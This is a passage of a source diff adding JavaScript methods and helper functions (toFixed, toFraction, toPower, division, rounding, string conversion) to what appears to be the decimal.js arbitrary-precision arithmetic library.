+ else checkInt32(rm, 0, 8); + + x = finalise(new Ctor(x), dp + 1, rm); + str = finiteToString(x, true, dp + 1); + } + + return x.isNeg() && !x.isZero() ? '-' + str : str; + }; + + + /* + * Return a string representing the value of this Decimal in normal (fixed-point) notation to + * `dp` fixed decimal places and rounded using rounding mode `rm` or `rounding` if `rm` is + * omitted. + * + * As with JavaScript numbers, (-0).toFixed(0) is '0', but e.g. (-0.00001).toFixed(0) is '-0'. + * + * [dp] {number} Decimal places. Integer, 0 to MAX_DIGITS inclusive. + * [rm] {number} Rounding mode. Integer, 0 to 8 inclusive. + * + * (-0).toFixed(0) is '0', but (-0.1).toFixed(0) is '-0'. + * (-0).toFixed(1) is '0.0', but (-0.01).toFixed(1) is '-0.0'. + * (-0).toFixed(3) is '0.000'. + * (-0.5).toFixed(0) is '-0'. + * + */ + P.toFixed = function (dp, rm) { + var str, y, + x = this, + Ctor = x.constructor; + + if (dp === void 0) { + str = finiteToString(x); + } else { + checkInt32(dp, 0, MAX_DIGITS); + + if (rm === void 0) rm = Ctor.rounding; + else checkInt32(rm, 0, 8); + + y = finalise(new Ctor(x), dp + x.e + 1, rm); + str = finiteToString(y, false, dp + y.e + 1); + } + + // To determine whether to add the minus sign look at the value before it was rounded, + // i.e. look at `x` rather than `y`. + return x.isNeg() && !x.isZero() ? '-' + str : str; + }; + + + /* + * Return an array representing the value of this Decimal as a simple fraction with an integer + * numerator and an integer denominator. + * + * The denominator will be a positive non-zero value less than or equal to the specified maximum + * denominator. If a maximum denominator is not specified, the denominator will be the lowest + * value necessary to represent the number exactly. + * + * [maxD] {number|string|Decimal} Maximum denominator. Integer >= 1 and < Infinity. + * + */ + P.toFraction = function (maxD) { + var d, d0, d1, d2, e, k, n, n0, n1, pr, q, r, + x = this, + xd = x.d, + Ctor = x.constructor; + + if (!xd) return new Ctor(x); + + n1 = d0 = new Ctor(1); + d1 = n0 = new Ctor(0); + + d = new Ctor(d1); + e = d.e = getPrecision(xd) - x.e - 1; + k = e % LOG_BASE; + d.d[0] = mathpow(10, k < 0 ? LOG_BASE + k : k); + + if (maxD == null) { + + // d is 10**e, the minimum max-denominator needed. + maxD = e > 0 ? d : n1; + } else { + n = new Ctor(maxD); + if (!n.isInt() || n.lt(n1)) throw Error(invalidArgument + n); + maxD = n.gt(d) ? (e > 0 ? d : n1) : n; + } + + external = false; + n = new Ctor(digitsToString(xd)); + pr = Ctor.precision; + Ctor.precision = e = xd.length * LOG_BASE * 2; + + for (;;) { + q = divide(n, d, 0, 1, 1); + d2 = d0.plus(q.times(d1)); + if (d2.cmp(maxD) == 1) break; + d0 = d1; + d1 = d2; + d2 = n1; + n1 = n0.plus(q.times(d2)); + n0 = d2; + d2 = d; + d = n.minus(q.times(d2)); + n = d2; + } + + d2 = divide(maxD.minus(d0), d1, 0, 1, 1); + n0 = n0.plus(d2.times(n1)); + d0 = d0.plus(d2.times(d1)); + n0.s = n1.s = x.s; + + // Determine which fraction is closer to x, n0/d0 or n1/d1? + r = divide(n1, d1, e, 1).minus(x).abs().cmp(divide(n0, d0, e, 1).minus(x).abs()) < 1 + ? [n1, d1] : [n0, d0]; + + Ctor.precision = pr; + external = true; + + return r; + }; + + + /* + * Return a string representing the value of this Decimal in base 16, round to `sd` significant + * digits using rounding mode `rm`. + * + * If the optional `sd` argument is present then return binary exponential notation. + * + * [sd] {number} Significant digits. Integer, 1 to MAX_DIGITS inclusive. + * [rm] {number} Rounding mode. Integer, 0 to 8 inclusive. + * + */ + P.toHexadecimal = P.toHex = function (sd, rm) { + return toStringBinary(this, 16, sd, rm); + }; + + + /* + * Returns a new Decimal whose value is the nearest multiple of `y` in the direction of rounding + * mode `rm`, or `Decimal.rounding` if `rm` is omitted, to the value of this Decimal. + * + * The return value will always have the same sign as this Decimal, unless either this Decimal + * or `y` is NaN, in which case the return value will be also be NaN. + * + * The return value is not affected by the value of `precision`. + * + * y {number|string|Decimal} The magnitude to round to a multiple of. + * [rm] {number} Rounding mode. Integer, 0 to 8 inclusive. + * + * 'toNearest() rounding mode not an integer: {rm}' + * 'toNearest() rounding mode out of range: {rm}' + * + */ + P.toNearest = function (y, rm) { + var x = this, + Ctor = x.constructor; + + x = new Ctor(x); + + if (y == null) { + + // If x is not finite, return x. + if (!x.d) return x; + + y = new Ctor(1); + rm = Ctor.rounding; + } else { + y = new Ctor(y); + if (rm === void 0) { + rm = Ctor.rounding; + } else { + checkInt32(rm, 0, 8); + } + + // If x is not finite, return x if y is not NaN, else NaN. + if (!x.d) return y.s ? x : y; + + // If y is not finite, return Infinity with the sign of x if y is Infinity, else NaN. + if (!y.d) { + if (y.s) y.s = x.s; + return y; + } + } + + // If y is not zero, calculate the nearest multiple of y to x. + if (y.d[0]) { + external = false; + x = divide(x, y, 0, rm, 1).times(y); + external = true; + finalise(x); + + // If y is zero, return zero with the sign of x. + } else { + y.s = x.s; + x = y; + } + + return x; + }; + + + /* + * Return the value of this Decimal converted to a number primitive. + * Zero keeps its sign. + * + */ + P.toNumber = function () { + return +this; + }; + + + /* + * Return a string representing the value of this Decimal in base 8, round to `sd` significant + * digits using rounding mode `rm`. + * + * If the optional `sd` argument is present then return binary exponential notation. + * + * [sd] {number} Significant digits. Integer, 1 to MAX_DIGITS inclusive. + * [rm] {number} Rounding mode. Integer, 0 to 8 inclusive. + * + */ + P.toOctal = function (sd, rm) { + return toStringBinary(this, 8, sd, rm); + }; + + + /* + * Return a new Decimal whose value is the value of this Decimal raised to the power `y`, rounded + * to `precision` significant digits using rounding mode `rounding`. + * + * ECMAScript compliant. + * + * pow(x, NaN) = NaN + * pow(x, ±0) = 1 + + * pow(NaN, non-zero) = NaN + * pow(abs(x) > 1, +Infinity) = +Infinity + * pow(abs(x) > 1, -Infinity) = +0 + * pow(abs(x) == 1, ±Infinity) = NaN + * pow(abs(x) < 1, +Infinity) = +0 + * pow(abs(x) < 1, -Infinity) = +Infinity + * pow(+Infinity, y > 0) = +Infinity + * pow(+Infinity, y < 0) = +0 + * pow(-Infinity, odd integer > 0) = -Infinity + * pow(-Infinity, even integer > 0) = +Infinity + * pow(-Infinity, odd integer < 0) = -0 + * pow(-Infinity, even integer < 0) = +0 + * pow(+0, y > 0) = +0 + * pow(+0, y < 0) = +Infinity + * pow(-0, odd integer > 0) = -0 + * pow(-0, even integer > 0) = +0 + * pow(-0, odd integer < 0) = -Infinity + * pow(-0, even integer < 0) = +Infinity + * pow(finite x < 0, finite non-integer) = NaN + * + * For non-integer or very large exponents pow(x, y) is calculated using + * + * x^y = exp(y*ln(x)) + * + * Assuming the first 15 rounding digits are each equally likely to be any digit 0-9, the + * probability of an incorrectly rounded result + * P([49]9{14} | [50]0{14}) = 2 * 0.2 * 10^-14 = 4e-15 = 1/2.5e+14 + * i.e. 1 in 250,000,000,000,000 + * + * If a result is incorrectly rounded the maximum error will be 1 ulp (unit in last place). + * + * y {number|string|Decimal} The power to which to raise this Decimal. + * + */ + P.toPower = P.pow = function (y) { + var e, k, pr, r, rm, s, + x = this, + Ctor = x.constructor, + yn = +(y = new Ctor(y)); + + // Either ±Infinity, NaN or ±0? + if (!x.d || !y.d || !x.d[0] || !y.d[0]) return new Ctor(mathpow(+x, yn)); + + x = new Ctor(x); + + if (x.eq(1)) return x; + + pr = Ctor.precision; + rm = Ctor.rounding; + + if (y.eq(1)) return finalise(x, pr, rm); + + // y exponent + e = mathfloor(y.e / LOG_BASE); + + // If y is a small integer use the 'exponentiation by squaring' algorithm. + if (e >= y.d.length - 1 && (k = yn < 0 ? -yn : yn) <= MAX_SAFE_INTEGER) { + r = intPow(Ctor, x, k, pr); + return y.s < 0 ? new Ctor(1).div(r) : finalise(r, pr, rm); + } + + s = x.s; + + // if x is negative + if (s < 0) { + + // if y is not an integer + if (e < y.d.length - 1) return new Ctor(NaN); + + // Result is positive if x is negative and the last digit of integer y is even. + if ((y.d[e] & 1) == 0) s = 1; + + // if x.eq(-1) + if (x.e == 0 && x.d[0] == 1 && x.d.length == 1) { + x.s = s; + return x; + } + } + + // Estimate result exponent. + // x^y = 10^e, where e = y * log10(x) + // log10(x) = log10(x_significand) + x_exponent + // log10(x_significand) = ln(x_significand) / ln(10) + k = mathpow(+x, yn); + e = k == 0 || !isFinite(k) + ? mathfloor(yn * (Math.log('0.' + digitsToString(x.d)) / Math.LN10 + x.e + 1)) + : new Ctor(k + '').e; + + // Exponent estimate may be incorrect e.g. x: 0.999999999999999999, y: 2.29, e: 0, r.e: -1. + + // Overflow/underflow? + if (e > Ctor.maxE + 1 || e < Ctor.minE - 1) return new Ctor(e > 0 ? s / 0 : 0); + + external = false; + Ctor.rounding = x.s = 1; + + // Estimate the extra guard digits needed to ensure five correct rounding digits from + // naturalLogarithm(x). Example of failure without these extra digits (precision: 10): + // new Decimal(2.32456).pow('2087987436534566.46411') + // should be 1.162377823e+764914905173815, but is 1.162355823e+764914905173815 + k = Math.min(12, (e + '').length); + + // r = x^y = exp(y*ln(x)) + r = naturalExponential(y.times(naturalLogarithm(x, pr + k)), pr); + + // r may be Infinity, e.g. (0.9999999999999999).pow(-1e+40) + if (r.d) { + + // Truncate to the required precision plus five rounding digits. + r = finalise(r, pr + 5, 1); + + // If the rounding digits are [49]9999 or [50]0000 increase the precision by 10 and recalculate + // the result. + if (checkRoundingDigits(r.d, pr, rm)) { + e = pr + 10; + + // Truncate to the increased precision plus five rounding digits. + r = finalise(naturalExponential(y.times(naturalLogarithm(x, e + k)), e), e + 5, 1); + + // Check for 14 nines from the 2nd rounding digit (the first rounding digit may be 4 or 9). + if (+digitsToString(r.d).slice(pr + 1, pr + 15) + 1 == 1e14) { + r = finalise(r, pr + 1, 0); + } + } + } + + r.s = s; + external = true; + Ctor.rounding = rm; + + return finalise(r, pr, rm); + }; + + + /* + * Return a string representing the value of this Decimal rounded to `sd` significant digits + * using rounding mode `rounding`. + * + * Return exponential notation if `sd` is less than the number of digits necessary to represent + * the integer part of the value in normal notation. + * + * [sd] {number} Significant digits. Integer, 1 to MAX_DIGITS inclusive. + * [rm] {number} Rounding mode. Integer, 0 to 8 inclusive. + * + */ + P.toPrecision = function (sd, rm) { + var str, + x = this, + Ctor = x.constructor; + + if (sd === void 0) { + str = finiteToString(x, x.e <= Ctor.toExpNeg || x.e >= Ctor.toExpPos); + } else { + checkInt32(sd, 1, MAX_DIGITS); + + if (rm === void 0) rm = Ctor.rounding; + else checkInt32(rm, 0, 8); + + x = finalise(new Ctor(x), sd, rm); + str = finiteToString(x, sd <= x.e || x.e <= Ctor.toExpNeg, sd); + } + + return x.isNeg() && !x.isZero() ? '-' + str : str; + }; + + + /* + * Return a new Decimal whose value is the value of this Decimal rounded to a maximum of `sd` + * significant digits using rounding mode `rm`, or to `precision` and `rounding` respectively if + * omitted. + * + * [sd] {number} Significant digits. Integer, 1 to MAX_DIGITS inclusive. + * [rm] {number} Rounding mode. Integer, 0 to 8 inclusive. + * + * 'toSD() digits out of range: {sd}' + * 'toSD() digits not an integer: {sd}' + * 'toSD() rounding mode not an integer: {rm}' + * 'toSD() rounding mode out of range: {rm}' + * + */ + P.toSignificantDigits = P.toSD = function (sd, rm) { + var x = this, + Ctor = x.constructor; + + if (sd === void 0) { + sd = Ctor.precision; + rm = Ctor.rounding; + } else { + checkInt32(sd, 1, MAX_DIGITS); + + if (rm === void 0) rm = Ctor.rounding; + else checkInt32(rm, 0, 8); + } + + return finalise(new Ctor(x), sd, rm); + }; + + + /* + * Return a string representing the value of this Decimal. + * + * Return exponential notation if this Decimal has a positive exponent equal to or greater than + * `toExpPos`, or a negative exponent equal to or less than `toExpNeg`. + * + */ + P.toString = function () { + var x = this, + Ctor = x.constructor, + str = finiteToString(x, x.e <= Ctor.toExpNeg || x.e >= Ctor.toExpPos); + + return x.isNeg() && !x.isZero() ? '-' + str : str; + }; + + + /* + * Return a new Decimal whose value is the value of this Decimal truncated to a whole number. + * + */ + P.truncated = P.trunc = function () { + return finalise(new this.constructor(this), this.e + 1, 1); + }; + + + /* + * Return a string representing the value of this Decimal. + * Unlike `toString`, negative zero will include the minus sign. + * + */ + P.valueOf = P.toJSON = function () { + var x = this, + Ctor = x.constructor, + str = finiteToString(x, x.e <= Ctor.toExpNeg || x.e >= Ctor.toExpPos); + + return x.isNeg() ? '-' + str : str; + }; + + + /* + // Add aliases to match BigDecimal method names. + // P.add = P.plus; + P.subtract = P.minus; + P.multiply = P.times; + P.divide = P.div; + P.remainder = P.mod; + P.compareTo = P.cmp; + P.negate = P.neg; + */ + + + // Helper functions for Decimal.prototype (P) and/or Decimal methods, and their callers. + + + /* + * digitsToString P.cubeRoot, P.logarithm, P.squareRoot, P.toFraction, P.toPower, + * finiteToString, naturalExponential, naturalLogarithm + * checkInt32 P.toDecimalPlaces, P.toExponential, P.toFixed, P.toNearest, + * P.toPrecision, P.toSignificantDigits, toStringBinary, random + * checkRoundingDigits P.logarithm, P.toPower, naturalExponential, naturalLogarithm + * convertBase toStringBinary, parseOther + * cos P.cos + * divide P.atanh, P.cubeRoot, P.dividedBy, P.dividedToIntegerBy, + * P.logarithm, P.modulo, P.squareRoot, P.tan, P.tanh, P.toFraction, + * P.toNearest, toStringBinary, naturalExponential, naturalLogarithm, + * taylorSeries, atan2, parseOther + * finalise P.absoluteValue, P.atan, P.atanh, P.ceil, P.cos, P.cosh, + * P.cubeRoot, P.dividedToIntegerBy, P.floor, P.logarithm, P.minus, + * P.modulo, P.negated, P.plus, P.round, P.sin, P.sinh, P.squareRoot, + * P.tan, P.times, P.toDecimalPlaces, P.toExponential, P.toFixed, + * P.toNearest, P.toPower, P.toPrecision, P.toSignificantDigits, + * P.truncated, divide, getLn10, getPi, naturalExponential, + * naturalLogarithm, ceil, floor, round, trunc + * finiteToString P.toExponential, P.toFixed, P.toPrecision, P.toString, P.valueOf, + * toStringBinary + * getBase10Exponent P.minus, P.plus, P.times, parseOther + * getLn10 P.logarithm, naturalLogarithm + * getPi P.acos, P.asin, P.atan, toLessThanHalfPi, atan2 + * getPrecision P.precision, P.toFraction + * getZeroString digitsToString, finiteToString + * intPow P.toPower, parseOther + * isOdd toLessThanHalfPi + * maxOrMin max, min + * naturalExponential P.naturalExponential, P.toPower + * naturalLogarithm P.acosh, P.asinh, P.atanh, P.logarithm, P.naturalLogarithm, + * P.toPower, naturalExponential + * nonFiniteToString finiteToString, toStringBinary + * parseDecimal Decimal + * parseOther Decimal + * sin P.sin + * taylorSeries P.cosh, P.sinh, cos, sin + * toLessThanHalfPi P.cos, P.sin + * toStringBinary P.toBinary, P.toHexadecimal, P.toOctal + * truncate intPow + * + * Throws: P.logarithm, P.precision, P.toFraction, checkInt32, getLn10, getPi, + * naturalLogarithm, config, parseOther, random, Decimal + */ + + + function digitsToString(d) { + var i, k, ws, + indexOfLastWord = d.length - 1, + str = '', + w = d[0]; + + if (indexOfLastWord > 0) { + str += w; + for (i = 1; i < indexOfLastWord; i++) { + ws = d[i] + ''; + k = LOG_BASE - ws.length; + if (k) str += getZeroString(k); + str += ws; + } + + w = d[i]; + ws = w + ''; + k = LOG_BASE - ws.length; + if (k) str += getZeroString(k); + } else if (w === 0) { + return '0'; + } + + // Remove trailing zeros of last w. + for (; w % 10 === 0;) w /= 10; + + return str + w; + } + + + function checkInt32(i, min, max) { + if (i !== ~~i || i < min || i > max) { + throw Error(invalidArgument + i); + } + } + + + /* + * Check 5 rounding digits if `repeating` is null, 4 otherwise. + * `repeating == null` if caller is `log` or `pow`, + * `repeating != null` if caller is `naturalLogarithm` or `naturalExponential`. + */ + function checkRoundingDigits(d, i, rm, repeating) { + var di, k, r, rd; + + // Get the length of the first word of the array d. + for (k = d[0]; k >= 10; k /= 10) --i; + + // Is the rounding digit in the first word of d? + if (--i < 0) { + i += LOG_BASE; + di = 0; + } else { + di = Math.ceil((i + 1) / LOG_BASE); + i %= LOG_BASE; + } + + // i is the index (0 - 6) of the rounding digit. + // E.g. if within the word 3487563 the first rounding digit is 5, + // then i = 4, k = 1000, rd = 3487563 % 1000 = 563 + k = mathpow(10, LOG_BASE - i); + rd = d[di] % k | 0; + + if (repeating == null) { + if (i < 3) { + if (i == 0) rd = rd / 100 | 0; + else if (i == 1) rd = rd / 10 | 0; + r = rm < 4 && rd == 99999 || rm > 3 && rd == 49999 || rd == 50000 || rd == 0; + } else { + r = (rm < 4 && rd + 1 == k || rm > 3 && rd + 1 == k / 2) && + (d[di + 1] / k / 100 | 0) == mathpow(10, i - 2) - 1 || + (rd == k / 2 || rd == 0) && (d[di + 1] / k / 100 | 0) == 0; + } + } else { + if (i < 4) { + if (i == 0) rd = rd / 1000 | 0; + else if (i == 1) rd = rd / 100 | 0; + else if (i == 2) rd = rd / 10 | 0; + r = (repeating || rm < 4) && rd == 9999 || !repeating && rm > 3 && rd == 4999; + } else { + r = ((repeating || rm < 4) && rd + 1 == k || + (!repeating && rm > 3) && rd + 1 == k / 2) && + (d[di + 1] / k / 1000 | 0) == mathpow(10, i - 3) - 1; + } + } + + return r; + } + + + // Convert string of `baseIn` to an array of numbers of `baseOut`. + // Eg. convertBase('255', 10, 16) returns [15, 15]. + // Eg. convertBase('ff', 16, 10) returns [2, 5, 5]. + function convertBase(str, baseIn, baseOut) { + var j, + arr = [0], + arrL, + i = 0, + strL = str.length; + + for (; i < strL;) { + for (arrL = arr.length; arrL--;) arr[arrL] *= baseIn; + arr[0] += NUMERALS.indexOf(str.charAt(i++)); + for (j = 0; j < arr.length; j++) { + if (arr[j] > baseOut - 1) { + if (arr[j + 1] === void 0) arr[j + 1] = 0; + arr[j + 1] += arr[j] / baseOut | 0; + arr[j] %= baseOut; + } + } + } + + return arr.reverse(); + } + + + /* + * cos(x) = 1 - x^2/2! + x^4/4! - ... + * |x| < pi/2 + * + */ + function cosine(Ctor, x) { + var k, y, + len = x.d.length; + + // Argument reduction: cos(4x) = 8*(cos^4(x) - cos^2(x)) + 1 + // i.e. cos(x) = 8*(cos^4(x/4) - cos^2(x/4)) + 1 + + // Estimate the optimum number of times to use the argument reduction. + if (len < 32) { + k = Math.ceil(len / 3); + y = (1 / tinyPow(4, k)).toString(); + } else { + k = 16; + y = '2.3283064365386962890625e-10'; + } + + Ctor.precision += k; + + x = taylorSeries(Ctor, 1, x.times(y), new Ctor(1)); + + // Reverse argument reduction + for (var i = k; i--;) { + var cos2x = x.times(x); + x = cos2x.times(cos2x).minus(cos2x).times(8).plus(1); + } + + Ctor.precision -= k; + + return x; + } + + + /* + * Perform division in the specified base. + */ + var divide = (function () { + + // Assumes non-zero x and k, and hence non-zero result. + function multiplyInteger(x, k, base) { + var temp, + carry = 0, + i = x.length; + + for (x = x.slice(); i--;) { + temp = x[i] * k + carry; + x[i] = temp % base | 0; + carry = temp / base | 0; + } + + if (carry) x.unshift(carry); + + return x; + } + + function compare(a, b, aL, bL) { + var i, r; + + if (aL != bL) { + r = aL > bL ? 1 : -1; + } else { + for (i = r = 0; i < aL; i++) { + if (a[i] != b[i]) { + r = a[i] > b[i] ? 1 : -1; + break; + } + } + } + + return r; + } + + function subtract(a, b, aL, base) { + var i = 0; + + // Subtract b from a. + for (; aL--;) { + a[aL] -= i; + i = a[aL] < b[aL] ? 1 : 0; + a[aL] = i * base + a[aL] - b[aL]; + } + + // Remove leading zeros. + for (; !a[0] && a.length > 1;) a.shift(); + } + + return function (x, y, pr, rm, dp, base) { + var cmp, e, i, k, logBase, more, prod, prodL, q, qd, rem, remL, rem0, sd, t, xi, xL, yd0, + yL, yz, + Ctor = x.constructor, + sign = x.s == y.s ? 1 : -1, + xd = x.d, + yd = y.d; + + // Either NaN, Infinity or 0? + if (!xd || !xd[0] || !yd || !yd[0]) { + + return new Ctor(// Return NaN if either NaN, or both Infinity or 0. + !x.s || !y.s || (xd ? yd && xd[0] == yd[0] : !yd) ? NaN : + + // Return ±0 if x is 0 or y is ±Infinity, or return ±Infinity as y is 0. + xd && xd[0] == 0 || !yd ? sign * 0 : sign / 0); + } + + if (base) { + logBase = 1; + e = x.e - y.e; + } else { + base = BASE; + logBase = LOG_BASE; + e = mathfloor(x.e / logBase) - mathfloor(y.e / logBase); + } + + yL = yd.length; + xL = xd.length; + q = new Ctor(sign); + qd = q.d = []; + + // Result exponent may be one less than e. + // The digit array of a Decimal from toStringBinary may have trailing zeros. + for (i = 0; yd[i] == (xd[i] || 0); i++); + + if (yd[i] > (xd[i] || 0)) e--; + + if (pr == null) { + sd = pr = Ctor.precision; + rm = Ctor.rounding; + } else if (dp) { + sd = pr + (x.e - y.e) + 1; + } else { + sd = pr; + } + + if (sd < 0) { + qd.push(1); + more = true; + } else { + + // Convert precision in number of base 10 digits to base 1e7 digits. + sd = sd / logBase + 2 | 0; + i = 0; + + // divisor < 1e7 + if (yL == 1) { + k = 0; + yd = yd[0]; + sd++; + + // k is the carry. + for (; (i < xL || k) && sd--; i++) { + t = k * base + (xd[i] || 0); + qd[i] = t / yd | 0; + k = t % yd | 0; + } + + more = k || i < xL; + + // divisor >= 1e7 + } else { + + // Normalise xd and yd so highest order digit of yd is >= base/2 + k = base / (yd[0] + 1) | 0; + + if (k > 1) { + yd = multiplyInteger(yd, k, base); + xd = multiplyInteger(xd, k, base); + yL = yd.length; + xL = xd.length; + } + + xi = yL; + rem = xd.slice(0, yL); + remL = rem.length; + + // Add zeros to make remainder as long as divisor. + for (; remL < yL;) rem[remL++] = 0; + + yz = yd.slice(); + yz.unshift(0); + yd0 = yd[0]; + + if (yd[1] >= base / 2) ++yd0; + + do { + k = 0; + + // Compare divisor and remainder. + cmp = compare(yd, rem, yL, remL); + + // If divisor < remainder. + if (cmp < 0) { + + // Calculate trial digit, k. + rem0 = rem[0]; + if (yL != remL) rem0 = rem0 * base + (rem[1] || 0); + + // k will be how many times the divisor goes into the current remainder. + k = rem0 / yd0 | 0; + + // Algorithm: + // 1. product = divisor * trial digit (k) + // 2. if product > remainder: product -= divisor, k-- + // 3. remainder -= product + // 4. if product was < remainder at 2: + // 5. compare new remainder and divisor + // 6. If remainder > divisor: remainder -= divisor, k++ + + if (k > 1) { + if (k >= base) k = base - 1; + + // product = divisor * trial digit. + prod = multiplyInteger(yd, k, base); + prodL = prod.length; + remL = rem.length; + + // Compare product and remainder. + cmp = compare(prod, rem, prodL, remL); + + // product > remainder. + if (cmp == 1) { + k--; + + // Subtract divisor from product. + subtract(prod, yL < prodL ? yz : yd, prodL, base); + } + } else { + + // cmp is -1. + // If k is 0, there is no need to compare yd and rem again below, so change cmp to 1 + // to avoid it. If k is 1 there is a need to compare yd and rem again below. + if (k == 0) cmp = k = 1; + prod = yd.slice(); + } + + prodL = prod.length; + if (prodL < remL) prod.unshift(0); + + // Subtract product from remainder. + subtract(rem, prod, remL, base); + + // If product was < previous remainder. + if (cmp == -1) { + remL = rem.length; + + // Compare divisor and new remainder. + cmp = compare(yd, rem, yL, remL); + + // If divisor < new remainder, subtract divisor from remainder. + if (cmp < 1) { + k++; + + // Subtract divisor from remainder. + subtract(rem, yL < remL ? yz : yd, remL, base); + } + } + + remL = rem.length; + } else if (cmp === 0) { + k++; + rem = [0]; + } // if cmp === 1, k will be 0 + + // Add the next digit, k, to the result array. + qd[i++] = k; + + // Update the remainder. + if (cmp && rem[0]) { + rem[remL++] = xd[xi] || 0; + } else { + rem = [xd[xi]]; + remL = 1; + } + + } while ((xi++ < xL || rem[0] !== void 0) && sd--); + + more = rem[0] !== void 0; + } + + // Leading zero? + if (!qd[0]) qd.shift(); + } + + // logBase is 1 when divide is being used for base conversion. + if (logBase == 1) { + q.e = e; + inexact = more; + } else { + + // To calculate q.e, first get the number of digits of qd[0]. + for (i = 1, k = qd[0]; k >= 10; k /= 10) i++; + q.e = i + e * logBase - 1; + + finalise(q, dp ? pr + q.e + 1 : pr, rm, more); + } + + return q; + }; + })(); + + + /* + * Round `x` to `sd` significant digits using rounding mode `rm`. + * Check for over/under-flow. + */ + function finalise(x, sd, rm, isTruncated) { + var digits, i, j, k, rd, roundUp, w, xd, xdi, + Ctor = x.constructor; + + // Don't round if sd is null or undefined. + out: if (sd != null) { + xd = x.d; + + // Infinity/NaN. + if (!xd) return x; + + // rd: the rounding digit, i.e. the digit after the digit that may be rounded up. + // w: the word of xd containing rd, a base 1e7 number. + // xdi: the index of w within xd. + // digits: the number of digits of w. + // i: what would be the index of rd within w if all the numbers were 7 digits long (i.e. if + // they had leading zeros) + // j: if > 0, the actual index of rd within w (if < 0, rd is a leading zero). + + // Get the length of the first word of the digits array xd. + for (digits = 1, k = xd[0]; k >= 10; k /= 10) digits++; + i = sd - digits; + + // Is the rounding digit in the first word of xd? + if (i < 0) { + i += LOG_BASE; + j = sd; + w = xd[xdi = 0]; + + // Get the rounding digit at index j of w. + rd = w / mathpow(10, digits - j - 1) % 10 | 0; + } else { + xdi = Math.ceil((i + 1) / LOG_BASE); + k = xd.length; + if (xdi >= k) { + if (isTruncated) { + + // Needed by `naturalExponential`, `naturalLogarithm` and `squareRoot`. + for (; k++ <= xdi;) xd.push(0); + w = rd = 0; + digits = 1; + i %= LOG_BASE; + j = i - LOG_BASE + 1; + } else { + break out; + } + } else { + w = k = xd[xdi]; + + // Get the number of digits of w. + for (digits = 1; k >= 10; k /= 10) digits++; + + // Get the index of rd within w. + i %= LOG_BASE; + + // Get the index of rd within w, adjusted for leading zeros. + // The number of leading zeros of w is given by LOG_BASE - digits. + j = i - LOG_BASE + digits; + + // Get the rounding digit at index j of w. + rd = j < 0 ? 0 : w / mathpow(10, digits - j - 1) % 10 | 0; + } + } + + // Are there any non-zero digits after the rounding digit? + isTruncated = isTruncated || sd < 0 || + xd[xdi + 1] !== void 0 || (j < 0 ? w : w % mathpow(10, digits - j - 1)); + + // The expression `w % mathpow(10, digits - j - 1)` returns all the digits of w to the right + // of the digit at (left-to-right) index j, e.g. if w is 908714 and j is 2, the expression + // will give 714. + + roundUp = rm < 4 + ? (rd || isTruncated) && (rm == 0 || rm == (x.s < 0 ? 3 : 2)) + : rd > 5 || rd == 5 && (rm == 4 || isTruncated || rm == 6 && + + // Check whether the digit to the left of the rounding digit is odd. + ((i > 0 ? j > 0 ? w / mathpow(10, digits - j) : 0 : xd[xdi - 1]) % 10) & 1 || + rm == (x.s < 0 ? 8 : 7)); + + if (sd < 1 || !xd[0]) { + xd.length = 0; + if (roundUp) { + + // Convert sd to decimal places. + sd -= x.e + 1; + + // 1, 0.1, 0.01, 0.001, 0.0001 etc. + xd[0] = mathpow(10, (LOG_BASE - sd % LOG_BASE) % LOG_BASE); + x.e = -sd || 0; + } else { + + // Zero. + xd[0] = x.e = 0; + } + + return x; + } + + // Remove excess digits. + if (i == 0) { + xd.length = xdi; + k = 1; + xdi--; + } else { + xd.length = xdi + 1; + k = mathpow(10, LOG_BASE - i); + + // E.g. 56700 becomes 56000 if 7 is the rounding digit. + // j > 0 means i > number of leading zeros of w. + xd[xdi] = j > 0 ? (w / mathpow(10, digits - j) % mathpow(10, j) | 0) * k : 0; + } + + if (roundUp) { + for (;;) { + + // Is the digit to be rounded up in the first word of xd? + if (xdi == 0) { + + // i will be the length of xd[0] before k is added. + for (i = 1, j = xd[0]; j >= 10; j /= 10) i++; + j = xd[0] += k; + for (k = 1; j >= 10; j /= 10) k++; + + // if i != k the length has increased. + if (i != k) { + x.e++; + if (xd[0] == BASE) xd[0] = 1; + } + + break; + } else { + xd[xdi] += k; + if (xd[xdi] != BASE) break; + xd[xdi--] = 0; + k = 1; + } + } + } + + // Remove trailing zeros. + for (i = xd.length; xd[--i] === 0;) xd.pop(); + } + + if (external) { + + // Overflow? + if (x.e > Ctor.maxE) { + + // Infinity. + x.d = null; + x.e = NaN; + + // Underflow? + } else if (x.e < Ctor.minE) { + + // Zero. + x.e = 0; + x.d = [0]; + // Ctor.underflow = true; + } // else Ctor.underflow = false; + } + + return x; + } + + + function finiteToString(x, isExp, sd) { + if (!x.isFinite()) return nonFiniteToString(x); + var k, + e = x.e, + str = digitsToString(x.d), + len = str.length; + + if (isExp) { + if (sd && (k = sd - len) > 0) { + str = str.charAt(0) + '.' + str.slice(1) + getZeroString(k); + } else if (len > 1) { + str = str.charAt(0) + '.' + str.slice(1); + } + + str = str + (x.e < 0 ? 'e' : 'e+') + x.e; + } else if (e < 0) { + str = '0.' + getZeroString(-e - 1) + str; + if (sd && (k = sd - len) > 0) str += getZeroString(k); + } else if (e >= len) { + str += getZeroString(e + 1 - len); + if (sd && (k = sd - e - 1) > 0) str = str + '.' + getZeroString(k); + } else { + if ((k = e + 1) < len) str = str.slice(0, k) + '.' + str.slice(k); + if (sd && (k = sd - len) > 0) { + if (e + 1 === len) str += '.'; + str += getZeroString(k); + } + } + + return str; + } + + + // Calculate the base 10 exponent from the base 1e7 exponent. + function getBase10Exponent(digits, e) { + var w = digits[0]; + + // Add the number of digits of the first word of the digits array. + for ( e *= LOG_BASE; w >= 10; w /= 10) e++; + return e; + } + + + function getLn10(Ctor, sd, pr) { + if (sd > LN10_PRECISION) { + + // Reset global state in case the exception is caught. + external = true; + if (pr) Ctor.precision = pr; + throw Error(precisionLimitExceeded); + } + return finalise(new Ctor(LN10), sd, 1, true); + } + + + function getPi(Ctor, sd, rm) { + if (sd > PI_PRECISION) throw Error(precisionLimitExceeded); + return finalise(new Ctor(PI), sd, rm, true); + } + + + function getPrecision(digits) { + var w = digits.length - 1, + len = w * LOG_BASE + 1; + + w = digits[w]; + + // If non-zero... + if (w) { + + // Subtract the number of trailing zeros of the last word. + for (; w % 10 == 0; w /= 10) len--; + + // Add the number of digits of the first word. + for (w = digits[0]; w >= 10; w /= 10) len++; + } + + return len; + } + + + function getZeroString(k) { + var zs = ''; + for (; k--;) zs += '0'; + return zs; + } + + + /* + * Return a new Decimal whose value is the value of Decimal `x` to the power `n`, where `n` is an + * integer of type number. 